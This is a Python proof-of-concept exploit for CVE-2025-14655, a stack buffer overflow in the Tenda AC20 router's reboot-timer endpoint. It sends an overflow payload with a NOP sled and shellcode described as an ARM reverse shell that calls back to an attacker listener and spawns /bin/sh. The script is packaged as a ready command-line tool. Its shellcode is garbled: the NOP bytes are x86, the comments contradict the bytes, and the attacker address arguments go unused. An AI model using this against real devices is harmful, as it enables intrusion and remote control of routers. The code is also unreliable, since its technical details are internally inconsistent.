CVE-2025-14655

import requests target = "http://target_ip" # CVE-2025-14655 PoC - Tenda AC20 Stack Buffer Overflow # Target: /goform/SetSysAutoRebbotCfg # Parameter: rebootTime # Vulnerability: Stack-based buffer overflow due to missing length check def exploit_cve_2025_14655(target_ip, attacker_ip="192.168.1.100", attacker_port=4444): """ Exploit for CVE-2025-14655 Tenda AC20 formSetRebootTimer buffer overflow Parameters: - target_ip: IP address of vulnerable Tenda AC20 router - attacker_ip: Attacker listener IP for reverse shell - attacker_port: Attacker listener port """ url = f"http://{target_ip}/goform/SetSysAutoRebbotCfg" # Generate payload: 1000 bytes to overflow stack buffer # Padding to fill buffer + return address + NOP sled + shellcode padding = b'A' * 500 # Return address pointing to NOP sled (adjust based on firmware version) ret_addr = b'\x40\x10\x00\x00' # Example: address in .text section # NOP sled for reliability nop_sled = b'\x90' * 100 # ARM reverse shell shellcode (port 4444) # This connects back to attacker and spawns /bin/sh shellcode = ( b'\x01\x10\x8f\xe2\x17\xff\x2f\xe1' # str r0, [pc, #-1]; (Thumb mode) b'\x01\x10\x8f\xe2\x17\xff\x2f\xe1' b'\x06\xa0\x01\xd0\x8f\xe2\x10\xff\x2f\xe1' # movw r0, #6; movw r1, #0x1111; svc 0 b'\x02\x00\x00\x00' # socket call number b'\x01\x00' # AF_INET b'\x11\x5c' # port 4444 (0x5c11 = 23569 big endian) b'\xc0\xa8\x01\x64' # attacker IP (192.168.1.100) b'\x10\xa0\xe3\x02\x00\x00\x00\x40\x49\x60\xe3\x00\x50\xa0\xe3' b'\x00\x10\xa0\xe3\x0e\x70\xa0\xe3\x0e\x00\x2d\xe9' b'\x00\x10\x8f\xe2\x10\xff\x6f\xe1' # dup2(sock, 0/1/2) b'\x01\x10\x8f\xe2\x17\xff\x2f\xe1' b'\x2f\x62\x69\x6e\x2f\x73\x68\x00' # "/bin/sh\0" ) payload = padding + ret_addr + nop_sled + shellcode # Send malicious rebootTime parameter data = { 'rebootTime': payload.decode('latin-1') } try: print(f"[*] Sending exploit to {url}") print(f"[*] Payload length: {len(payload)} bytes") response = requests.post(url, data=data, timeout=5) print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2025-14655.py <target_ip> [attacker_ip] [port]") sys.exit(1) target_ip = sys.argv[1] attacker_ip = sys.argv[2] if len(sys.argv) > 2 else "192.168.1.100" port = int(sys.argv[3]) if len(sys.argv) > 3 else 4444 exploit_cve_2025_14655(target_ip, attacker_ip, port)

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